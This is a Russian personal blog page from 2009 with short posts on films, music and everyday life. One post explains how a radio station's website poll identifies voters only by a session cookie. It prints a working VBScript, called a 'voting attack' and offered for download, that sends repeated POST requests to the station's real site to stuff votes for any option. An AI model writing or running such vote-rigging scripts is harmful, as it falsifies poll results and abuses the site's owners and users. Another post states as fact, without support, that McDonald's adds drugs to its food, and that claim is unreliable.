|
|
|
29th November, 2009
02:30 Я даже не сразу понял, что не так на картинке.

|
14th November, 2009
15:01 - Идентификация Антон, я нашел как называется фильм — Идентификация . Всем рекомендую посмотреть его. Кьюсак и Лиотто как всегда душки.
П. С. Оказывается Аманда Пит и Джон Кьюсак играли вместе не раз: 2012 (2009) Идентификация (2003) Дитя с Марса (2007)
|
13th November, 2009
11th November, 2009
10:52 - Голосовалка Родился скрипт, который может накручивать голосование на любое количество голосов за любой вариант на сайте Радио Рок 95.2 FM. Скачать скрипт.
Решил разжевать подробно, если кого-то заинтересуют детали. Дальше идёт нудятина.
Прогулялся я вчера по сайту Радио Рок 95.2 FM и обнаружил там замечательную голосовалку: «Где вы чаще всего слушаете РАДИО 95.2FM?». Как сознательный пользователь и человек, которому эта станция симпатична, я проголосовал за тот вариант, который соответствует действительности — «На работе», и увидел результат. Оказалось, большинство людей слушает эту станцию в машине. Ну да ладно.
Так как у станции вообще сайт появился недавно (раньше на этом домене была заглушка) мне стало интересно поковырять его, а заодно проверить голосовалку на предмет обмана. Обмануть удалось. Более того, удалось написать VB-скрипт, который накручивает голосование на нужное количество голосов. Принцип голосования прост как яблочный пирог. Ну или яичница.
При отправке своего голоса второй раз, проголосовать не удаётся. Сайт оставляет куку PHPSESSID и идентифицирует вас по ней. Если её удалить, то, обновив страницу, сайт снова позволит вам проголосовать. Поковыряв код страницы нашел такой код формы: <form action="index.php?mod=voting" method="POST"> <input type="radio" name="variant" value="В машине"> <font color=white>В машине</font><br><br> <input type="radio" name="variant" value=" На работе"> <font color=white> На работе</font><br><br> <input type="radio" name="variant" value=" Дома"> <font color=white> Дома</font><br><br> <input type="radio" name="variant" value=" В плеере"> <font color=white> В плеере</font><br><br> <center><input type="image" src="themes/default/vote_button.gif" value="Голосовать!"></center> </form> * This source code was highlighted with Source Code Highlighter. который говорит нам следующее: форма отправляет вариант, который вы выбрали, методом POST через переменную variant.
Для тех, кому это не кажется очевидным, наглядно посмотреть что отправляется POST-параметрами можно через дополнение Temper Data для FireFox-а, которое покажет примерно следующее (нас интересует правая часть окна, значение переменной variant):

Теперь, зная технологию голосования, можно его автоматизировать. К сожалению, под рукой не было никаких средств разработки, устанавливать PHP не очень хотелось. Был вариант написать на Delphi, но я его отмёл как громоздкий. Тут я вспомнил, что совершенно недавно писал VB-скрипт, который получал данные из странички используя MSXML2.XMLHTTP, — его-то я и решил использовать как шаблон.
Сказано — сделано. После небольшой отладки родился вот такой скрипт:
Option Explicit
Dim objHTTP, i, Num, Cnt
WScript.StdOut.WriteLine "95i2.fm voiting attack" WScript.StdOut.WriteLine
' init ---> Dim v(3), v_descr(3)
v(0) = "%C2%20%EC%E0%F8%E8%ED%E5" v_descr(0) = "В машине"
v(1) = "%20%CD%E0%20%F0%E0%E1%EE%F2%E5" v_descr(1) = " На работе"
v_descr(2) = "%20%C4%EE%EC%E0" v_descr(2) = " Дома"
v(3) = "%20%C2%20%EF%EB%E5%E5%F0%E5" v_descr(3) = " В плеере" ' <--- init
' variants menu ---> Dim n, c n = 0 For Each c In v WScript.StdOut.WriteLine n & ". " & """" & v_descr(n) & """" n = n + 1 Next ' <--- variants menu
WScript.StdOut.WriteLine WScript.StdOut.Write "Enter variant for upgrade and press Enter: " Num = WScript.StdIn.Read(3)
If CInt(Num) <= (UBound(v) + 1) Then WScript.StdOut.WriteLine "Ok. Your choice: " & """" & v_descr(Num) & """" WScript.StdOut.WriteLine WScript.StdOut.Write "Enter count for upgrade: " Cnt = WScript.StdIn.Read(3) ' atack! ---> If CInt(Cnt) > 0 Then For i = 1 To Cnt WScript.StdOut.Write "Request: " & i & "... " Set objHTTP = CreateObject("MSXML2.XMLHTTP") objHTTP.Open "POST", "http://95i2.fm/index.php?mod=voting", False objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" objHTTP.setRequestHeader "Host", "95i2.fm" objHTTP.setRequestHeader "Referer", "http://95i2.fm/index.php" objHTTP.send "variant=" & v(Num) Set objHTTP = Nothing WScript.StdOut.WriteLine "Ok" Next WScript.StdOut.WriteLine WScript.StdOut.WriteLine "All done!" Else WScript.StdOut.WriteLine """" & CInt(Cnt) & """" & " - is incorrect value" End If ' <--- atack! End If
WScript.StdOut.WriteLine Wscript.StdOut.Write "Press the Enter to continue." Do While Not WScript.StdIn.AtEndOfLine Input = WScript.StdIn.Read(2) Loop
* This source code was highlighted with Source Code Highlighter. Скачать скрипт
Запускается скрипт просто:

В результате программа задаст пару вопросов и начнёт накрутку…

Спасибо, пожалуйста.
|
10th November, 2009
18:27 - Emily and Fiona Радио Рок 95.2 в исполнении двух девочек. Зацените, это прекрасно. Я плачу.
|
9th November, 2009
14:45 - Универсальный солдат: возвращение Пример того, как один из саундтреков может быть лучше самого фильма.
|
6th November, 2009
15:52 - Фотоаппарат Я вот иногда просто радуюсь, что у меня его никогда не было. Это ж как наверное надоедает, когда тебя постоянно дёргают со своими «— Скинь фотки, плиз!», «— А залей фотки мне куда-нибудь?», «— Ты уже скинул фотки на комп?». И чем интенсивнее запрашивать фотки у фотографа, тем медленнее он их отдаёт.
|
5th November, 2009
11:51 - Стройка Рассказ о том как человек, разочарованный качеством услуг, предоставляемых существующими дата-центрами, взял и сделал свой дата-центр. В картинках. Интересно.
«Как я строил свой дата-центр» Часть первая. Часть вторая. Часть третья.
|
10:59 Луна 2112 ахуенна. Новый альбом Металлики тоже доставляет.
Зацените видео песни с этого альбома. Клип просто отличный. А ведь в начале кажется, что говно.
Metallica - All Nightmare Long
Metallica | Видео на MySpace
|
30th October, 2009
08:37 - Доблестная, честная и сердцу дорогая… …госавтоинспекция, ты нам как мать родная. А что у нас в ГИБДД до сих пор применяются планы по штрафам? В этом месяце должно быть 8 наездов на пешеходов из них 3 со смертельным исходом, 120 ДТП, 15 угонов. Так что ли? Я худею.
|
29th October, 2009
19:58 - Пообщаться с Фриманом У Мистера Фримана открылся форум. Впрочем не сильно посещаемый. Пока.
|
28th October, 2009
27th October, 2009
17:02 - Аномальное Заметил, что если перестать пользоваться дезодорантом от пота, то начинаешь пахнуть как-то особо ароматно. Наверняка это всё маркетинговый заговор косметологических фирм, которые добавляют что-то в свои дезодоранты чтобы потоотделение усиливалось без их дезодорантов. Ну это в принципе не так страшно. В макдаке вообще наркоту в еду добавляют. И в колу тоже.
|
15:59 - Фриман на Лукоморье Оказывается на Лукоморье есть некоторая информация, которую я изложил в своём посте о Мистере Фримане. Только что наткнулся с целью узнать больше, но увы ничего нового.
|
15:10 - Лавина: взгляд изнутри
Товарищ рассказывает как побывал в лавине.
Вот и зона пройдена, как вдруг впереди, метрах в пяти, снег неожиданно проседает, рисуя полуокругом тёмные тонкие трещины. Сразу смортю вверх, и тут мне кажется, что это я взглядом ломаю и рву снег, куда ни посмотрю. Выше, ниже спереди, сзади - все треснуло. Скорость очень маленькая, снег буквально вклеивает лыжи в свою массу. Что-то так захотелось свой борд расчехлить и прокатиться по снежному склону…
|
|
|